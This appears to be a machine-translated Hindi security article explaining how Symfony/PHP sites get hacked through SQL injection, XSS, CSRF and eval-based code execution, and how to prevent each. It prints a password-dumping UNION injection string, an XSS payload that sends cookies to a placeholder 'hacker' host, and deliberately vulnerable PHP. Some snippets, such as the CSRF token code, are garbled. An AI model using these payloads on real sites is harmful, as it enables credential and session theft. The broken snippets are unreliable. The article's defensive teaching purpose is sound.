सिम्फनी एक लोकप्रिय PHP ढांचा है जो उपयोगकर्ताओं के लिए PHP वेबसाइट और वेब एप्लिकेशन बनाना आसान बनाता है। अतीत में, ऐसे उदाहरण हैं जब सिम्फनी ढांचे में एक दोष के कारण ड्रूपल प्रभावित हुआ था। अंततः, इसने सिम्फनी वेबसाइट को हैक कर लिया। हालांकि यह कभी-कभी सिम्फनी ढांचे का दोष था, असुरक्षित विकास प्रथाएं भी आपकी PHP वेबसाइट को कमजोर बनाती हैं। इस लेख के माध्यम से, आप सीखेंगे कि ऐसी कौन सी महत्वपूर्ण कमजोरियां हैं जिनके कारण सिम्फनी वेबसाइट हैक हो सकती है और उन्हें कैसे रोका जा सकता है।
सिम्फनी की लोकप्रियता को इस तथ्य के लिए जिम्मेदार ठहराया जा सकता है कि यह डिकूपल और प्रयोग करने योग्य PHP पुस्तकालयों का एक सेट प्रदान करता है। ये पुस्तकालय विकास को गति दे सकते हैं और इसे पूरी तरह से आसान बना सकते हैं। हालाँकि, केवल सिम्फनी ढांचे का उपयोग करने से आपकी PHP वेबसाइट सुरक्षित नहीं हो सकती है। कंट्रास्ट सुरक्षा के आंकड़ों के अनुसार,
Symfony वेबसाइट हैक की गई:लक्षण
- डेटाबेस में संदिग्ध तालिकाएं, अज्ञात उपयोगकर्ता और सिस्टम पर अज्ञात फाइलें सिम्फनी एसक्यूएल इंजेक्शन का संकेत हो सकती हैं।
- पॉप-अप और विज्ञापन फिश डोमेन पर पुनर्निर्देशित करना सिम्फनी रिमोट कोड निष्पादन का परिणाम हो सकता है।
- यदि उपयोगकर्ता आपकी साइट पर सत्यापन के बिना खाता हटाने या डेटा के हेरफेर के बारे में शिकायत करते हैं, तो यह सिम्फनी क्रॉस-साइट अनुरोध जालसाजी के कारण हो सकता है।
- सिम्फनी संग्रहीत क्रॉस-साइट स्क्रिप्टिंग के कारण आपकी साइट पर अस्पष्ट सामग्री दिखाई देती है।
- सभी Symfony वेबसाइट के हैक होने के परिणामस्वरूप, खोज इंजन उपयोगकर्ताओं को आपकी साइट पर आने के विरुद्ध चेतावनी देते हैं।
सिम्फनी वेबसाइट हैक होने के कारण
Symfony वेबसाइट हैक की गई:SQL इंजेक्शन
सिम्फनी एसक्यूएल इंजेक्शन एक प्रकार का हमला है जो मुख्य रूप से आपकी साइट के डेटाबेस को लक्षित करता है। उपयोगकर्ता इनपुट की कमी के कारण साइट कमजोर हो जाती है जिसके कारण सिम्फनी वेबसाइट हैक हो जाती है। उदाहरण के लिए, नीचे दिए गए कोड को देखें:
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
यह SQL क्वेरी को निष्पादित करने के लिए एक साधारण PHP कोड की तरह दिखता है, लेकिन, हमलावर इसका उपयोग SELECT SQL कमांड का उपयोग करके डेटाबेस से सभी पासवर्ड प्रकट करने के लिए कर सकता है। $size वेरिएबल को प्रदान किया गया इनपुट कुछ इस तरह दिखेगा:
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
निष्पादन पर यह कथन उपयोगकर्ता नाम की तालिका से सभी पासवर्ड सूचीबद्ध कर सकता है। इस कथन के अंत में प्रतीक '-' इस पंक्ति के शेष कोड को टिप्पणियों में बदल देगा ताकि किसी भी त्रुटि से बचा जा सके। यह सिर्फ एक छोटा सा उदाहरण है, हमलावर इसका उपयोग आपके डेटाबेस में हेरफेर करने, संपादित करने और यहां तक कि हटाने के लिए विभिन्न तरीकों से कर सकते हैं। कुछ सिम्फनी वेबसाइट हैक किए गए मामलों में, SQLi का उपयोग रिवर्स शेल प्राप्त करने के लिए भी किया जा सकता है। Symfony वेबसाइट हैक की गई:क्रॉस-साइट स्क्रिप्टिंग
XSS एक व्यापक रूप से पाई जाने वाली भेद्यता है जो उचित उपयोगकर्ता इनपुट स्वच्छता की कमी के कारण होती है। यह भेद्यता आमतौर पर खोज बॉक्स, संदेश बोर्ड आदि में पाई जाती है। XSS के कारण हैक की गई एक सिम्फनी वेबसाइट का उपयोग हमलावर द्वारा कुकीज़ चुराने के लिए किया जा सकता है और इस प्रकार सत्र को संभाल सकता है। उदाहरण के लिए, निम्नलिखित कोड के साथ एक खोज क्वेरी को तैयार करने से एक हमलावर उस पर क्लिक करने वाले की कुकीज़ चुरा सकता है।
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
यहां '>' वर्ण पिछले टैग को बंद कर देगा। इसके बाद, इमेज () कंस्ट्रक्टर 'img' वेरिएबल में एक नई इमेज बनाएगा। अगली पंक्ति छवि के स्रोत का निर्धारण करेगी और उसी पंक्ति में, सत्र अधिग्रहण के लिए कुकी प्राप्त करने के लिए document.cookie विधि का उपयोग किया जाएगा। यदि XSS संग्रहीत या स्थायी है, तो यह और भी खतरनाक है क्योंकि जब कोई संक्रमित पृष्ठ खोलता है तो यह स्क्रिप्ट स्वचालित रूप से कुकीज़ चुरा लेगी। जबकि, प्रतिबिंबित XSS सोशल इंजीनियरिंग हमलों पर निर्भर करता है। न केवल कुकी चोरी बल्कि XSS के कारण हैक की गई Symfony वेबसाइट का उपयोग सभी प्रकार के फ़िशिंग हमलों के लिए भी किया जा सकता है!अपनी हैक की गई Symfony वेबसाइट की मरम्मत के लिए सहायता चाहिए? अपनी साइट अभी साफ़ करें
Symfony वेबसाइट हैक की गई:क्रॉस-साइट अनुरोध जालसाजी
सीएसआरएफ का उपयोग हमलावरों द्वारा आपके पीड़ितों को अवांछित कार्य करने के लिए किया जा सकता है जैसे खाता हटाना, उपयोगकर्ता डेटा में हेरफेर करना, आदि। उदाहरण के लिए, जब कोई उपयोगकर्ता आपकी साइट में लॉग इन होता है, तो नीचे दिए गए एक विशेष रूप से तैयार किए गए पृष्ठ पर जाने के परिणामस्वरूप हटा दिया जा सकता है खाता। यह पृष्ठ उपयोगकर्ता खाते को हटाने के लिए कार्रवाई के 'हटाएं' मान का उपयोग करेगा। हालांकि हमलावर विभिन्न हमलों को अंजाम देने के लिए सीएसआरएफ का उपयोग कर सकता है, लेकिन उसके पास यह देखने के लिए कोई तंत्र नहीं है कि उन्हें सफलतापूर्वक निष्पादित किया गया था।सिम्फनी वेबसाइट हैक की गई:रिमोट कोड निष्पादन
खराब कोडिंग मानकों के कारण सिम्फनी का उपयोग करने वाली वेबसाइटों में रिमोट कोड का निष्पादन होता है। ऊपर दिए गए सभी हमलों में सबसे बड़ी सुरक्षा समस्या उपयोगकर्ता इनपुट पर भरोसा करना है। उदाहरण के लिए, PHP कोड में eval () फ़ंक्शन का खराब उपयोग इस तरह दिखेगा:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
यह बहुत आसान कोड लगता है जो तर्क लेगा और स्ट्रिंग को PHP कोड के रूप में निष्पादित करने के लिए eval फ़ंक्शन का उपयोग करेगा। लेकिन चूंकि इनपुट को फ़िल्टर नहीं किया जाता है, इसलिए हमलावर कुछ मानों की आपूर्ति कर सकता है जैसे /index.php?arg=1; phpinfo()
जो phpinfo() फ़ंक्शन के कोड निष्पादन की ओर ले जाएगा। Symfony वेबसाइट हैक की गई:सुरक्षित विकास पद्धतियां
- अपनी सिम्फनी वेबसाइट पर SQLi हमलों को रोकने के लिए, तैयार कथनों का उपयोग करें।
- अपनी सिम्फनी वेबसाइट में एक्सएसएस हमलों को रोकने के लिए, htmlspecialchars() फ़ंक्शन का उपयोग करें जब भी किसी उपयोगकर्ता इनपुट को ब्राउज़र पर आउटपुट के रूप में प्रदर्शित करने की आवश्यकता हो तो इसे कार्यान्वित करें।
- इस तरह सीएसआरएफ हमले से बचने के लिए पेज में छिपे एक यादृच्छिक टोकन को लागू करें:?>”>
- आरसीई को रोकने के लिए php.ini फ़ाइल में इस PHP निर्देश के माध्यम से सभी खतरनाक कार्यों को अक्षम करें:अक्षम_कार्य ="show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval"
- तो क्रूक्स यह है कि आपकी सिम्फनी वेबसाइट में उपयोगकर्ता इनपुट पर भरोसा न करके अधिकांश कमजोरियों से बचा जा सकता है।
- यदि आपको संदेह है कि आपकी वेबसाइट पर कोई भेद्यता छिपी हुई है, तो पूर्ण सुरक्षा ऑडिट के लिए जाएं।